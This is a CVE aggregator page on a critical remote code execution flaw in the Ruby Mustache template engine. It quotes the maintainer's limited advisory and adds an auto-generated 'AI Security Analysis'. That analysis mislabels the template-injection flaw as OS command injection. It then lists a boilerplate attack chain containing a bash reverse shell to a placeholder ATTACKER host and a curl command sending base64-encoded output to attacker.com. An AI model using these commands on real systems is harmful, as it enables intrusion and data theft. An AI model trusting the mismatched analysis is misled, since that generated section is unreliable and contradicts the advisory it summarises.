CVE Professor
›
Back
CVE-2026-130001

CVE-2026-130001 — Mustache — CWE-913

CRITICAL CVSS 9.8 GitHub

CVE-2026-130001 is a CRITICAL severity Remote Code Execution (RCE) vulnerability (CWE-913) (CVSS 9.8/10) affecting Mustache. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

> [!NOTE] > The vulnerability was fully disclosed to the maintainer in private prior to security advisories were enabled for the project. > This advisory presents a limited information for initial release to provide a time window for installing updates. Full information with PoCs would be added later. ## Summary Mustache template engine for Ruby in versions 1.1.2 and earlier allows remote attackers to achieve arbitrary code execution through accessing specific built-in methods in an attacker-supplied template. ## Details Mustache is often suggested as a safe simple template language to avoid SSTI vulnerabilities.[^1] [^2] Mustache for Ruby up to version 1.1.2 did not properly restrict method access which allowed chaining multiple built-in methods to achieve arbitrary code execution. > [!IMPORTANT] > Successful exploitation of this vulnerability does not depend on any configuration or objects passed to the template engine. > An attacker controlling the template string can achieve arbitrary code execution without any additional requirements. Additional methods provided by the application or installed gems can further expand the attack surface but exploitation was proven without them. ## PoC All discovered payloads were tested using `ruby -e` shell commands with `mustache` as the only explicitly required gem: ```bash ruby -e 'require "mustache"; puts Mustache.render("PAYLOAD GOES HERE", key: "value")' ``` For initial information release, only the descriptions of the most

Published 18.11.2026
ISO Date 2026-11-18
CVSS Version v3.1
Source GitHub
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-130001
CVSS 9.8/10 · CRITICAL · 18.11.2026
CWE: CWE-913
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: > [!NOTE]

The vulnerability was fully disclosed to the maintainer in private prior to security advisories were enabled for the project. > This advisory presents a limited information for initial release to provide a time window for installing updates. Full information with PoCs would be added later.

Affected: mustache

⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)

🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.

🛡️ REMEDIATION
→ Apply vendor security update for mustache.
→ Never pass user input to shell commands.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
🚨 NOW (24-48h) — Remote, no-auth, low complexity.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-913
Affected Products (1)
mustache
References & Advisories (4)
Related CVEs
7.8
CVE-2026-18827
A maliciously crafted DWG file containing an attacker-controlled Excel Data Link connection string, when proce
8.8
CVE-2026-121170
Improper resource control in WebCodecs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to by
7.3
CVE-2026-62848
Metalama is a Roslyn-based open-source patterns and architecture toolkit for C#. From 2023.0.101-rc until 2025
5.5
CVE-2026-118538
A vulnerability was determined in a2ui-project a2ui up to 0.12.0. This issue affects the function Root.renderC
7.8
CVE-2026-116612
A flaw was found in GStreamer Editing Services (gst-editing-services). A GES project file can embed an arbitra
5.5
CVE-2026-102734
asteval is a Python expression evaluator designed for restricted execution. Prior to 1.0.9, in asteval/astutil